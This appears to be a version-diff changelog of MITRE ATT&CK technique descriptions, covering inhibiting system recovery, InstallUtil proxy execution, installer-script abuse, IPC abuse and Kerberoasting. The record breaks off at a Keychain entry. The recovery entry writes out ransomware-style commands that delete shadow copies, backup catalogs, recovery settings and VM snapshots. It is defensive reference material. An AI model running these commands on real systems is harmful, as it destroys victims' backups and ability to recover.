| > | be used to delete volume shadow copies - <code>wmic shadowc | > | be used to delete volume shadow copies - <code>wmic shadowc | ||
| > | opy delete</code> * <code>wbadmin.exe</code> can be used to | > | opy delete</code> * <code>wbadmin.exe</code> can be used to | ||
| > | delete the Windows Backup Catalog - <code>wbadmin.exe delete | > | delete the Windows Backup Catalog - <code>wbadmin.exe delete | ||
| > | catalog -quiet</code> * <code>bcdedit.exe</code> can be use | > | catalog -quiet</code> * <code>bcdedit.exe</code> can be use | ||
| > | d to disable automatic Windows recovery features by modifyin | > | d to disable automatic Windows recovery features by modifyin | ||
| > | g boot configuration data - <code>bcdedit.exe /set {default} | > | g boot configuration data - <code>bcdedit.exe /set {default} | ||
| > | bootstatuspolicy ignoreallfailures & bcdedit /set {default} | > | bootstatuspolicy ignoreallfailures & bcdedit /set {default} | ||
| > | recoveryenabled no</code> * <code>REAgentC.exe</code> can b | > | recoveryenabled no</code> * <code>REAgentC.exe</code> can b | ||
| > | e used to disable Windows Recovery Environment (WinRE) repai | > | e used to disable Windows Recovery Environment (WinRE) repai | ||
| > | r/recovery options of an infected system * <code>diskshadow. | > | r/recovery options of an infected system * <code>diskshadow. | ||
| > | exe</code> can be used to delete all volume shadow copies on | > | exe</code> can be used to delete all volume shadow copies on | ||
| > | a system - <code>diskshadow delete shadows all</code> (Cita | > | a system - <code>diskshadow delete shadows all</code>(Citat | ||
| > | tion: Diskshadow) (Citation: Crytox Ransomware) On network | > | ion: Diskshadow)(Citation: Crytox Ransomware) On network de | ||
| > | devices, adversaries may leverage [Disk Wipe](https://attack | > | vices, adversaries may leverage [Disk Wipe](https://attack.m | ||
| > | .mitre.org/techniques/T1561) to delete backup firmware image | > | itre.org/techniques/T1561) to delete backup firmware images | ||
| > | s and reformat the file system, then [System Shutdown/Reboot | > | and reformat the file system, then [System Shutdown/Reboot]( | ||
| > | ](https://attack.mitre.org/techniques/T1529) to reload the d | > | https://attack.mitre.org/techniques/T1529) to reload the dev | ||
| > | evice. Together this activity may leave network devices comp | > | ice. Together this activity may leave network devices comple | ||
| > | letely inoperable and inhibit recovery operations. On ESXi | > | tely inoperable and inhibit recovery operations. On ESXi se | ||
| > | servers, adversaries may delete or encrypt snapshots of virt | > | rvers, adversaries may delete or encrypt snapshots of virtua | ||
| > | ual machines to support [Data Encrypted for Impact](https:// | > | l machines to support [Data Encrypted for Impact](https://at | ||
| > | attack.mitre.org/techniques/T1486), preventing them from bei | > | tack.mitre.org/techniques/T1486), preventing them from being | ||
| > | ng leveraged as backups (e.g., via ` vim-cmd vmsvc/snapshot. | > | leveraged as backups (e.g., via ` vim-cmd vmsvc/snapshot.re | ||
| > | removeall`).(Citation: Cybereason) Adversaries may also del | > | moveall`).(Citation: Cybereason) Adversaries may also delet | ||
| > | ete “online” backups that are connected to their network – w | > | e “online” backups that are connected to their network – whe | ||
| > | hether via network storage media or through folders that syn | > | ther via network storage media or through folders that sync | ||
| > | c to cloud services.(Citation: ZDNet Ransomware Backups 2020 | > | to cloud services.(Citation: ZDNet Ransomware Backups 2020) | ||
| > | ) In cloud environments, adversaries may disable versioning | > | In cloud environments, adversaries may disable versioning an | ||
| > | and backup policies and delete snapshots, database backups, | > | d backup policies and delete snapshots, database backups, ma | ||
| > | machine images, and prior versions of objects designed to be | > | chine images, and prior versions of objects designed to be u | ||
| > | used in disaster recovery scenarios.(Citation: Dark Reading | > | sed in disaster recovery scenarios.(Citation: Dark Reading C | ||
| > | Code Spaces Cyber Attack)(Citation: Rhino Security Labs AWS | > | ode Spaces Cyber Attack)(Citation: Rhino Security Labs AWS S | ||
| > | S3 Ransomware) | > | 3 Ransomware) | ||
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2026-05-12 15:12:00.724000+00:00 | 2026-11-04 00:47:26.815000+00:00 |
| description | Adversaries may delete or remove built-in data and turn off services designed to aid in the recovery of a corrupted system to prevent recovery.(Citation: Talos Olympic Destroyer 2018)(Citation: FireEye WannaCry 2017) This may deny access to available backups and recovery options.
Operating systems may contain features that can help fix corrupted systems, such as a backup catalog, volume shadow copies, and automatic repair features. Adversaries may disable or delete system recovery features to augment the effects of [Data Destruction](https://attack.mitre.org/techniques/T1485) and [Data Encrypted for Impact](https://attack.mitre.org/techniques/T1486).(Citation: Talos Olympic Destroyer 2018)(Citation: FireEye WannaCry 2017) Furthermore, adversaries may disable recovery notifications, then corrupt backups.(Citation: disable_notif_synology_ransom)
A number of native Windows utilities have been used by adversaries to disable or delete system recovery features:
* vssadmin.exe can be used to delete all volume shadow copies on a system - vssadmin.exe delete shadows /all /quiet
* [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047) can be used to delete volume shadow copies - wmic shadowcopy delete
* wbadmin.exe can be used to delete the Windows Backup Catalog - wbadmin.exe delete catalog -quiet
* bcdedit.exe can be used to disable automatic Windows recovery features by modifying boot configuration data - bcdedit.exe /set {default} bootstatuspolicy ignoreallfailures & bcdedit /set {default} recoveryenabled no
* REAgentC.exe can be used to disable Windows Recovery Environment (WinRE) repair/recovery options of an infected system
* diskshadow.exe can be used to delete all volume shadow copies on a system - diskshadow delete shadows all (Citation: Diskshadow) (Citation: Crytox Ransomware)
On network devices, adversaries may leverage [Disk Wipe](https://attack.mitre.org/techniques/T1561) to delete backup firmware images and reformat the file system, then [System Shutdown/Reboot](https://attack.mitre.org/techniques/T1529) to reload the device. Together this activity may leave network devices completely inoperable and inhibit recovery operations.
On ESXi servers, adversaries may delete or encrypt snapshots of virtual machines to support [Data Encrypted for Impact](https://attack.mitre.org/techniques/T1486), preventing them from being leveraged as backups (e.g., via ` vim-cmd vmsvc/snapshot.removeall`).(Citation: Cybereason)
Adversaries may also delete “online” backups that are connected to their network – whether via network storage media or through folders that sync to cloud services.(Citation: ZDNet Ransomware Backups 2020) In cloud environments, adversaries may disable versioning and backup policies and delete snapshots, database backups, machine images, and prior versions of objects designed to be used in disaster recovery scenarios.(Citation: Dark Reading Code Spaces Cyber Attack)(Citation: Rhino Security Labs AWS S3 Ransomware) | Adversaries may delete or remove built-in data and turn off services designed to aid in the recovery of a corrupted system to prevent recovery.(Citation: Talos Olympic Destroyer 2018)(Citation: FireEye WannaCry 2017) This may deny access to available backups and recovery options.
Operating systems may contain features that can help fix corrupted systems, such as a backup catalog, volume shadow copies, and automatic repair features. Adversaries may disable or delete system recovery features to augment the effects of [Data Destruction](https://attack.mitre.org/techniques/T1485) and [Data Encrypted for Impact](https://attack.mitre.org/techniques/T1486).(Citation: Talos Olympic Destroyer 2018)(Citation: FireEye WannaCry 2017) Furthermore, adversaries may disable recovery notifications, then corrupt backups.(Citation: disable_notif_synology_ransom)
A number of native Windows utilities have been used by adversaries to disable or delete system recovery features:
* vssadmin.exe can be used to delete all volume shadow copies on a system - vssadmin.exe delete shadows /all /quiet
* [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047) can be used to delete volume shadow copies - wmic shadowcopy delete
* wbadmin.exe can be used to delete the Windows Backup Catalog - wbadmin.exe delete catalog -quiet
* bcdedit.exe can be used to disable automatic Windows recovery features by modifying boot configuration data - bcdedit.exe /set {default} bootstatuspolicy ignoreallfailures & bcdedit /set {default} recoveryenabled no
* REAgentC.exe can be used to disable Windows Recovery Environment (WinRE) repair/recovery options of an infected system
* diskshadow.exe can be used to delete all volume shadow copies on a system - diskshadow delete shadows all(Citation: Diskshadow)(Citation: Crytox Ransomware)
On network devices, adversaries may leverage [Disk Wipe](https://attack.mitre.org/techniques/T1561) to delete backup firmware images and reformat the file system, then [System Shutdown/Reboot](https://attack.mitre.org/techniques/T1529) to reload the device. Together this activity may leave network devices completely inoperable and inhibit recovery operations.
On ESXi servers, adversaries may delete or encrypt snapshots of virtual machines to support [Data Encrypted for Impact](https://attack.mitre.org/techniques/T1486), preventing them from being leveraged as backups (e.g., via ` vim-cmd vmsvc/snapshot.removeall`).(Citation: Cybereason)
Adversaries may also delete “online” backups that are connected to their network – whether via network storage media or through folders that sync to cloud services.(Citation: ZDNet Ransomware Backups 2020) In cloud environments, adversaries may disable versioning and backup policies and delete snapshots, database backups, machine images, and prior versions of objects designed to be used in disaster recovery scenarios.(Citation: Dark Reading Code Spaces Cyber Attack)(Citation: Rhino Security Labs AWS S3 Ransomware) |
Current version: 3.0
| Old Description | New Description | ||||
|---|---|---|---|---|---|
| t | 1 | Adversaries may use InstallUtil to proxy execution of code t | t | 1 | Adversaries may use InstallUtil to proxy execution of code t |
| > | hrough a trusted Windows utility. InstallUtil is a command-l | > | hrough a trusted Windows utility. InstallUtil is a command-l | ||
| > | ine utility that allows for installation and uninstallation | > | ine utility that allows for installation and uninstallation | ||
| > | of resources by executing specific installer components spec | > | of resources by executing specific installer components spec | ||
| > | ified in .NET binaries. (Citation: MSDN InstallUtil) The Ins | > | ified in .NET binaries.(Citation: MSDN InstallUtil) The Inst | ||
| > | tallUtil binary may also be digitally signed by Microsoft an | > | allUtil binary may also be digitally signed by Microsoft and | ||
| > | d located in the .NET directories on a Windows system: <code | > | located in the .NET directories on a Windows system: <code> | ||
| > | >C:\Windows\Microsoft.NET\Framework\v<version>\InstallUtil.e | > | C:\Windows\Microsoft.NET\Framework\v<version>\InstallUtil.ex | ||
| > | xe</code> and <code>C:\Windows\Microsoft.NET\Framework64\v<v | > | e</code> and <code>C:\Windows\Microsoft.NET\Framework64\v<ve | ||
| > | ersion>\InstallUtil.exe</code>. InstallUtil may also be use | > | rsion>\InstallUtil.exe</code>. InstallUtil may also be used | ||
| > | d to bypass application control through use of attributes wi | > | to bypass application control through use of attributes wit | ||
| > | thin the binary that execute the class decorated with the at | > | hin the binary that execute the class decorated with the att | ||
| > | tribute <code>[System.ComponentModel.RunInstaller(true)]</co | > | ribute <code>[System.ComponentModel.RunInstaller(true)]</cod | ||
| > | de>. (Citation: LOLBAS Installutil) | > | e>.(Citation: LOLBAS Installutil) | ||
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2026-05-12 15:12:00.623000+00:00 | 2026-11-04 00:42:40.884000+00:00 |
| description | Adversaries may use InstallUtil to proxy execution of code through a trusted Windows utility. InstallUtil is a command-line utility that allows for installation and uninstallation of resources by executing specific installer components specified in .NET binaries. (Citation: MSDN InstallUtil) The InstallUtil binary may also be digitally signed by Microsoft and located in the .NET directories on a Windows system: C:\Windows\Microsoft.NET\Framework\v and C:\Windows\Microsoft.NET\Framework64\v.
InstallUtil may also be used to bypass application control through use of attributes within the binary that execute the class decorated with the attribute [System.ComponentModel.RunInstaller(true)]. (Citation: LOLBAS Installutil) | Adversaries may use InstallUtil to proxy execution of code through a trusted Windows utility. InstallUtil is a command-line utility that allows for installation and uninstallation of resources by executing specific installer components specified in .NET binaries.(Citation: MSDN InstallUtil) The InstallUtil binary may also be digitally signed by Microsoft and located in the .NET directories on a Windows system: C:\Windows\Microsoft.NET\Framework\v and C:\Windows\Microsoft.NET\Framework64\v.
InstallUtil may also be used to bypass application control through use of attributes within the binary that execute the class decorated with the attribute [System.ComponentModel.RunInstaller(true)].(Citation: LOLBAS Installutil) |
Current version: 1.2
| Old Description | New Description | ||||
|---|---|---|---|---|---|
| t | 1 | Adversaries may establish persistence and elevate privileges | t | 1 | Adversaries may establish persistence and elevate privileges |
| > | by using an installer to trigger the execution of malicious | > | by using an installer to trigger the execution of malicious | ||
| > | content. Installer packages are OS specific and contain the | > | content. Installer packages are OS specific and contain the | ||
| > | resources an operating system needs to install applications | > | resources an operating system needs to install applications | ||
| > | on a system. Installer packages can include scripts that ru | > | on a system. Installer packages can include scripts that ru | ||
| > | n prior to installation as well as after installation is com | > | n prior to installation as well as after installation is com | ||
| > | plete. Installer scripts may inherit elevated permissions wh | > | plete. Installer scripts may inherit elevated permissions wh | ||
| > | en executed. Developers often use these scripts to prepare t | > | en executed. Developers often use these scripts to prepare t | ||
| > | he environment for installation, check requirements, downloa | > | he environment for installation, check requirements, downloa | ||
| > | d dependencies, and remove files after installation.(Citatio | > | d dependencies, and remove files after installation.(Citatio | ||
| > | n: Installer Package Scripting Rich Trouton) Using legitima | > | n: Installer Package Scripting Rich Trouton) Using legitima | ||
| > | te applications, adversaries have distributed applications w | > | te applications, adversaries have distributed applications w | ||
| > | ith modified installer scripts to execute malicious content. | > | ith modified installer scripts to execute malicious content. | ||
| > | When a user installs the application, they may be required | > | When a user installs the application, they may be required | ||
| > | to grant administrative permissions to allow the installatio | > | to grant administrative permissions to allow the installatio | ||
| > | n. At the end of the installation process of the legitimate | > | n. At the end of the installation process of the legitimate | ||
| > | application, content such as macOS `postinstall` scripts can | > | application, content such as macOS `postinstall` scripts can | ||
| > | be executed with the inherited elevated permissions. Advers | > | be executed with the inherited elevated permissions. Advers | ||
| > | aries can use these scripts to execute a malicious executabl | > | aries can use these scripts to execute a malicious executabl | ||
| > | e or install other malicious components (such as a [Launch D | > | e or install other malicious components (such as a [Launch D | ||
| > | aemon](https://attack.mitre.org/techniques/T1543/004)) with | > | aemon](https://attack.mitre.org/techniques/T1543/004)) with | ||
| > | the elevated permissions.(Citation: Application Bundle Manip | > | the elevated permissions.(Citation: Application Bundle Manip | ||
| > | ulation Brandon Dalton)(Citation: wardle evilquest parti)(Ci | > | ulation Brandon Dalton)(Citation: wardle evilquest parti)(Ci | ||
| > | tation: Windows AppleJeus GReAT)(Citation: Debian Manual Mai | > | tation: Windows AppleJeus GReAT)(Citation: Debian Manual Mai | ||
| > | ntainer Scripts) Depending on the distribution, Linux versi | > | ntainer Scripts) Depending on the distribution, Linux versi | ||
| > | ons of package installer scripts are sometimes called mainta | > | ons of package installer scripts are sometimes called mainta | ||
| > | iner scripts or post installation scripts. These scripts can | > | iner scripts or post installation scripts. These scripts can | ||
| > | include `preinst`, `postinst`, `prerm`, `postrm` scripts an | > | include `preinst`, `postinst`, `prerm`, `postrm` scripts an | ||
| > | d run as root when executed. For Windows, the Microsoft Ins | > | d run as root when executed. For Windows, the Microsoft Ins | ||
| > | taller services uses `.msi` files to manage the installing, | > | taller service uses `.msi` files to manage the installing, u | ||
| > | updating, and uninstalling of applications. These installati | > | pdating, and uninstalling of applications. These installatio | ||
| > | on routines may also include instructions to perform additio | > | n routines may also include instructions to perform addition | ||
| > | nal actions that may be abused by adversaries.(Citation: Mic | > | al actions that may be abused by adversaries.(Citation: Micr | ||
| > | rosoft Installation Procedures) | > | osoft Installation Procedures) | ||
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2026-05-12 15:12:00.721000+00:00 | 2026-11-04 03:24:26.417000+00:00 |
| description | Adversaries may establish persistence and elevate privileges by using an installer to trigger the execution of malicious content. Installer packages are OS specific and contain the resources an operating system needs to install applications on a system. Installer packages can include scripts that run prior to installation as well as after installation is complete. Installer scripts may inherit elevated permissions when executed. Developers often use these scripts to prepare the environment for installation, check requirements, download dependencies, and remove files after installation.(Citation: Installer Package Scripting Rich Trouton) Using legitimate applications, adversaries have distributed applications with modified installer scripts to execute malicious content. When a user installs the application, they may be required to grant administrative permissions to allow the installation. At the end of the installation process of the legitimate application, content such as macOS `postinstall` scripts can be executed with the inherited elevated permissions. Adversaries can use these scripts to execute a malicious executable or install other malicious components (such as a [Launch Daemon](https://attack.mitre.org/techniques/T1543/004)) with the elevated permissions.(Citation: Application Bundle Manipulation Brandon Dalton)(Citation: wardle evilquest parti)(Citation: Windows AppleJeus GReAT)(Citation: Debian Manual Maintainer Scripts) Depending on the distribution, Linux versions of package installer scripts are sometimes called maintainer scripts or post installation scripts. These scripts can include `preinst`, `postinst`, `prerm`, `postrm` scripts and run as root when executed. For Windows, the Microsoft Installer services uses `.msi` files to manage the installing, updating, and uninstalling of applications. These installation routines may also include instructions to perform additional actions that may be abused by adversaries.(Citation: Microsoft Installation Procedures) | Adversaries may establish persistence and elevate privileges by using an installer to trigger the execution of malicious content. Installer packages are OS specific and contain the resources an operating system needs to install applications on a system. Installer packages can include scripts that run prior to installation as well as after installation is complete. Installer scripts may inherit elevated permissions when executed. Developers often use these scripts to prepare the environment for installation, check requirements, download dependencies, and remove files after installation.(Citation: Installer Package Scripting Rich Trouton) Using legitimate applications, adversaries have distributed applications with modified installer scripts to execute malicious content. When a user installs the application, they may be required to grant administrative permissions to allow the installation. At the end of the installation process of the legitimate application, content such as macOS `postinstall` scripts can be executed with the inherited elevated permissions. Adversaries can use these scripts to execute a malicious executable or install other malicious components (such as a [Launch Daemon](https://attack.mitre.org/techniques/T1543/004)) with the elevated permissions.(Citation: Application Bundle Manipulation Brandon Dalton)(Citation: wardle evilquest parti)(Citation: Windows AppleJeus GReAT)(Citation: Debian Manual Maintainer Scripts) Depending on the distribution, Linux versions of package installer scripts are sometimes called maintainer scripts or post installation scripts. These scripts can include `preinst`, `postinst`, `prerm`, `postrm` scripts and run as root when executed. For Windows, the Microsoft Installer service uses `.msi` files to manage the installing, updating, and uninstalling of applications. These installation routines may also include instructions to perform additional actions that may be abused by adversaries.(Citation: Microsoft Installation Procedures) |
Current version: 1.4
| Old Description | New Description | ||||
|---|---|---|---|---|---|
| t | 1 | Adversaries may abuse inter-process communication (IPC) mech | t | 1 | Adversaries may abuse inter-process communication (IPC) mech |
| > | anisms for local code or command execution. IPC is typically | > | anisms for local code or command execution. IPC is typically | ||
| > | used by processes to share data, communicate with each othe | > | used by processes to share data, communicate with each othe | ||
| > | r, or synchronize execution. IPC is also commonly used to av | > | r, or synchronize execution. IPC is also commonly used to av | ||
| > | oid situations such as deadlocks, which occurs when processe | > | oid situations such as deadlocks, which occur when processes | ||
| > | s are stuck in a cyclic waiting pattern. Adversaries may a | > | are stuck in a cyclic waiting pattern. Adversaries may ab | ||
| > | buse IPC to execute arbitrary code or commands. IPC mechanis | > | use IPC to execute arbitrary code or commands. IPC mechanism | ||
| > | ms may differ depending on OS, but typically exists in a for | > | s may differ depending on OS, but typically exists in a form | ||
| > | m accessible through programming languages/libraries or nati | > | accessible through programming languages/libraries or nativ | ||
| > | ve interfaces such as Windows [Dynamic Data Exchange](https: | > | e interfaces such as Windows [Dynamic Data Exchange](https:/ | ||
| > | //attack.mitre.org/techniques/T1559/002) or [Component Objec | > | /attack.mitre.org/techniques/T1559/002) or [Component Object | ||
| > | t Model](https://attack.mitre.org/techniques/T1559/001). Lin | > | Model](https://attack.mitre.org/techniques/T1559/001). Linu | ||
| > | ux environments support several different IPC mechanisms, tw | > | x environments support several different IPC mechanisms, two | ||
| > | o of which being sockets and pipes.(Citation: Linux IPC) Hig | > | of which being sockets and pipes.(Citation: Linux IPC) High | ||
| > | her level execution mediums, such as those of [Command and S | > | er level execution mediums, such as those of [Command and Sc | ||
| > | cripting Interpreter](https://attack.mitre.org/techniques/T1 | > | ripting Interpreter](https://attack.mitre.org/techniques/T10 | ||
| > | 059)s, may also leverage underlying IPC mechanisms. Adversar | > | 59)s, may also leverage underlying IPC mechanisms. Adversari | ||
| > | ies may also use [Remote Services](https://attack.mitre.org/ | > | es may also use [Remote Services](https://attack.mitre.org/t | ||
| > | techniques/T1021) such as [Distributed Component Object Mode | > | echniques/T1021) such as [Distributed Component Object Model | ||
| > | l](https://attack.mitre.org/techniques/T1021/003) to facilit | > | ](https://attack.mitre.org/techniques/T1021/003) to facilita | ||
| > | ate remote IPC execution.(Citation: Fireeye Hunting COM June | > | te remote IPC execution.(Citation: Fireeye Hunting COM June | ||
| > | 2019) | > | 2019) | ||
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2026-05-12 15:12:00.707000+00:00 | 2026-11-04 03:26:00.864000+00:00 |
| description | Adversaries may abuse inter-process communication (IPC) mechanisms for local code or command execution. IPC is typically used by processes to share data, communicate with each other, or synchronize execution. IPC is also commonly used to avoid situations such as deadlocks, which occurs when processes are stuck in a cyclic waiting pattern. Adversaries may abuse IPC to execute arbitrary code or commands. IPC mechanisms may differ depending on OS, but typically exists in a form accessible through programming languages/libraries or native interfaces such as Windows [Dynamic Data Exchange](https://attack.mitre.org/techniques/T1559/002) or [Component Object Model](https://attack.mitre.org/techniques/T1559/001). Linux environments support several different IPC mechanisms, two of which being sockets and pipes.(Citation: Linux IPC) Higher level execution mediums, such as those of [Command and Scripting Interpreter](https://attack.mitre.org/techniques/T1059)s, may also leverage underlying IPC mechanisms. Adversaries may also use [Remote Services](https://attack.mitre.org/techniques/T1021) such as [Distributed Component Object Model](https://attack.mitre.org/techniques/T1021/003) to facilitate remote IPC execution.(Citation: Fireeye Hunting COM June 2019) | Adversaries may abuse inter-process communication (IPC) mechanisms for local code or command execution. IPC is typically used by processes to share data, communicate with each other, or synchronize execution. IPC is also commonly used to avoid situations such as deadlocks, which occur when processes are stuck in a cyclic waiting pattern. Adversaries may abuse IPC to execute arbitrary code or commands. IPC mechanisms may differ depending on OS, but typically exists in a form accessible through programming languages/libraries or native interfaces such as Windows [Dynamic Data Exchange](https://attack.mitre.org/techniques/T1559/002) or [Component Object Model](https://attack.mitre.org/techniques/T1559/001). Linux environments support several different IPC mechanisms, two of which being sockets and pipes.(Citation: Linux IPC) Higher level execution mediums, such as those of [Command and Scripting Interpreter](https://attack.mitre.org/techniques/T1059)s, may also leverage underlying IPC mechanisms. Adversaries may also use [Remote Services](https://attack.mitre.org/techniques/T1021) such as [Distributed Component Object Model](https://attack.mitre.org/techniques/T1021/003) to facilitate remote IPC execution.(Citation: Fireeye Hunting COM June 2019) |
Current version: 1.3
| Old Description | New Description | ||||
|---|---|---|---|---|---|
| t | 1 | Adversaries may abuse a valid Kerberos ticket-granting ticke | t | 1 | Adversaries may abuse a valid Kerberos ticket-granting ticke |
| > | t (TGT) or sniff network traffic to obtain a ticket-granting | > | t (TGT) or sniff network traffic to obtain a ticket-granting | ||
| > | service (TGS) ticket that may be vulnerable to [Brute Force | > | service (TGS) ticket that may be vulnerable to [Brute Force | ||
| > | ](https://attack.mitre.org/techniques/T1110).(Citation: Empi | > | ](https://attack.mitre.org/techniques/T1110).(Citation: Empi | ||
| > | re InvokeKerberoast Oct 2016)(Citation: AdSecurity Cracking | > | re InvokeKerberoast Oct 2016)(Citation: AdSecurity Cracking | ||
| > | Kerberos Dec 2015) Service principal names (SPNs) are used | > | Kerberos Dec 2015) Service principal names (SPNs) are used | ||
| > | to uniquely identify each instance of a Windows service. To | > | to uniquely identify each instance of a Windows service. To | ||
| > | enable authentication, Kerberos requires that SPNs be assoc | > | enable authentication, Kerberos requires that SPNs be assoc | ||
| > | iated with at least one service logon account (an account sp | > | iated with at least one service logon account (an account sp | ||
| > | ecifically tasked with running a service(Citation: Microsoft | > | ecifically tasked with running a service).(Citation: Microso | ||
| > | Detecting Kerberoasting Feb 2018)).(Citation: Microsoft SPN | > | ft Detecting Kerberoasting Feb 2018)(Citation: Microsoft SPN | ||
| > | )(Citation: Microsoft SetSPN)(Citation: SANS Attacking Kerbe | > | )(Citation: Microsoft SetSPN)(Citation: SANS Attacking Kerbe | ||
| > | ros Nov 2014)(Citation: Harmj0y Kerberoast Nov 2016) Advers | > | ros Nov 2014)(Citation: Harmj0y Kerberoast Nov 2016) Advers | ||
| > | aries possessing a valid Kerberos ticket-granting ticket (TG | > | aries possessing a valid Kerberos ticket-granting ticket (TG | ||
| > | T) may request one or more Kerberos ticket-granting service | > | T) may request one or more Kerberos ticket-granting service | ||
| > | (TGS) service tickets for any SPN from a domain controller ( | > | (TGS) service tickets for any SPN from a domain controller ( | ||
| > | DC).(Citation: Empire InvokeKerberoast Oct 2016)(Citation: A | > | DC).(Citation: Empire InvokeKerberoast Oct 2016)(Citation: A | ||
| > | dSecurity Cracking Kerberos Dec 2015) Portions of these tick | > | dSecurity Cracking Kerberos Dec 2015) Portions of these tick | ||
| > | ets may be encrypted with the RC4 algorithm, meaning the Ker | > | ets may be encrypted with the RC4 algorithm, meaning the Ker | ||
| > | beros 5 TGS-REP etype 23 hash of the service account associa | > | beros 5 TGS-REP etype 23 hash of the service account associa | ||
| > | ted with the SPN is used as the private key and is thus vuln | > | ted with the SPN is used as the private key and is thus vuln | ||
| > | erable to offline [Brute Force](https://attack.mitre.org/tec | > | erable to offline [Brute Force](https://attack.mitre.org/tec | ||
| > | hniques/T1110) attacks that may expose plaintext credentials | > | hniques/T1110) attacks that may expose plaintext credentials | ||
| > | .(Citation: AdSecurity Cracking Kerberos Dec 2015)(Citation: | > | .(Citation: AdSecurity Cracking Kerberos Dec 2015)(Citation: | ||
| > | Empire InvokeKerberoast Oct 2016) (Citation: Harmj0y Kerber | > | Empire InvokeKerberoast Oct 2016)(Citation: Harmj0y Kerbero | ||
| > | oast Nov 2016) This same behavior could be executed using s | > | ast Nov 2016) This same behavior could be executed using se | ||
| > | ervice tickets captured from network traffic.(Citation: AdSe | > | rvice tickets captured from network traffic.(Citation: AdSec | ||
| > | curity Cracking Kerberos Dec 2015) Cracked hashes may enabl | > | urity Cracking Kerberos Dec 2015) Cracked hashes may enable | ||
| > | e [Persistence](https://attack.mitre.org/tactics/TA0003), [P | > | [Persistence](https://attack.mitre.org/tactics/TA0003), [Pr | ||
| > | rivilege Escalation](https://attack.mitre.org/tactics/TA0004 | > | ivilege Escalation](https://attack.mitre.org/tactics/TA0004) | ||
| > | ), and [Lateral Movement](https://attack.mitre.org/tactics/T | > | , and [Lateral Movement](https://attack.mitre.org/tactics/TA | ||
| > | A0008) via access to [Valid Accounts](https://attack.mitre.o | > | 0008) via access to [Valid Accounts](https://attack.mitre.or | ||
| > | rg/techniques/T1078).(Citation: SANS Attacking Kerberos Nov | > | g/techniques/T1078).(Citation: SANS Attacking Kerberos Nov 2 | ||
| > | 2014) | > | 014) | ||
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2025-10-24 17:49:36.038000+00:00 | 2026-11-04 00:58:53.290000+00:00 |
| description | Adversaries may abuse a valid Kerberos ticket-granting ticket (TGT) or sniff network traffic to obtain a ticket-granting service (TGS) ticket that may be vulnerable to [Brute Force](https://attack.mitre.org/techniques/T1110).(Citation: Empire InvokeKerberoast Oct 2016)(Citation: AdSecurity Cracking Kerberos Dec 2015) Service principal names (SPNs) are used to uniquely identify each instance of a Windows service. To enable authentication, Kerberos requires that SPNs be associated with at least one service logon account (an account specifically tasked with running a service(Citation: Microsoft Detecting Kerberoasting Feb 2018)).(Citation: Microsoft SPN)(Citation: Microsoft SetSPN)(Citation: SANS Attacking Kerberos Nov 2014)(Citation: Harmj0y Kerberoast Nov 2016) Adversaries possessing a valid Kerberos ticket-granting ticket (TGT) may request one or more Kerberos ticket-granting service (TGS) service tickets for any SPN from a domain controller (DC).(Citation: Empire InvokeKerberoast Oct 2016)(Citation: AdSecurity Cracking Kerberos Dec 2015) Portions of these tickets may be encrypted with the RC4 algorithm, meaning the Kerberos 5 TGS-REP etype 23 hash of the service account associated with the SPN is used as the private key and is thus vulnerable to offline [Brute Force](https://attack.mitre.org/techniques/T1110) attacks that may expose plaintext credentials.(Citation: AdSecurity Cracking Kerberos Dec 2015)(Citation: Empire InvokeKerberoast Oct 2016) (Citation: Harmj0y Kerberoast Nov 2016) This same behavior could be executed using service tickets captured from network traffic.(Citation: AdSecurity Cracking Kerberos Dec 2015) Cracked hashes may enable [Persistence](https://attack.mitre.org/tactics/TA0003), [Privilege Escalation](https://attack.mitre.org/tactics/TA0004), and [Lateral Movement](https://attack.mitre.org/tactics/TA0008) via access to [Valid Accounts](https://attack.mitre.org/techniques/T1078).(Citation: SANS Attacking Kerberos Nov 2014) | Adversaries may abuse a valid Kerberos ticket-granting ticket (TGT) or sniff network traffic to obtain a ticket-granting service (TGS) ticket that may be vulnerable to [Brute Force](https://attack.mitre.org/techniques/T1110).(Citation: Empire InvokeKerberoast Oct 2016)(Citation: AdSecurity Cracking Kerberos Dec 2015) Service principal names (SPNs) are used to uniquely identify each instance of a Windows service. To enable authentication, Kerberos requires that SPNs be associated with at least one service logon account (an account specifically tasked with running a service).(Citation: Microsoft Detecting Kerberoasting Feb 2018)(Citation: Microsoft SPN)(Citation: Microsoft SetSPN)(Citation: SANS Attacking Kerberos Nov 2014)(Citation: Harmj0y Kerberoast Nov 2016) Adversaries possessing a valid Kerberos ticket-granting ticket (TGT) may request one or more Kerberos ticket-granting service (TGS) service tickets for any SPN from a domain controller (DC).(Citation: Empire InvokeKerberoast Oct 2016)(Citation: AdSecurity Cracking Kerberos Dec 2015) Portions of these tickets may be encrypted with the RC4 algorithm, meaning the Kerberos 5 TGS-REP etype 23 hash of the service account associated with the SPN is used as the private key and is thus vulnerable to offline [Brute Force](https://attack.mitre.org/techniques/T1110) attacks that may expose plaintext credentials.(Citation: AdSecurity Cracking Kerberos Dec 2015)(Citation: Empire InvokeKerberoast Oct 2016)(Citation: Harmj0y Kerberoast Nov 2016) This same behavior could be executed using service tickets captured from network traffic.(Citation: AdSecurity Cracking Kerberos Dec 2015) Cracked hashes may enable [Persistence](https://attack.mitre.org/tactics/TA0003), [Privilege Escalation](https://attack.mitre.org/tactics/TA0004), and [Lateral Movement](https://attack.mitre.org/tactics/TA0008) via access to [Valid Accounts](https://attack.mitre.org/techniques/T1078).(Citation: SANS Attacking Kerberos Nov 2014) |
| x_mitre_attack_spec_version | 3.2.0 | 3.3.0 |
Current version: 1.1
| Old Description | New Description | ||||
|---|---|---|---|---|---|
| t | 1 | Adversaries may acquire credentials from Keychain. Keychain | t | 1 | Adversaries may acquire credentials from Keychain. Keychain |
| > | (or Keychain Services) is the macOS credential management sy | > | (or Keychain Services) is the macOS credential management sy | ||
| > | stem that stores account names, passwords, private keys, cer | > | stem that stores account names, passwords, private keys, cer | ||
| > | tificates, sensitive application data, payment data, and sec | > | tificates, sensitive application data, payment data, and sec | ||
| > | ure notes. There are three types of Keychains: Login Keychai | > | ure notes. There are three types of Keychains: Login Keychai | ||
| > | n, System Keychain, and Local Items (iCloud) Keychain. The d | > | n, System Keychain, and Local Items (iCloud) Keychain. The d | ||
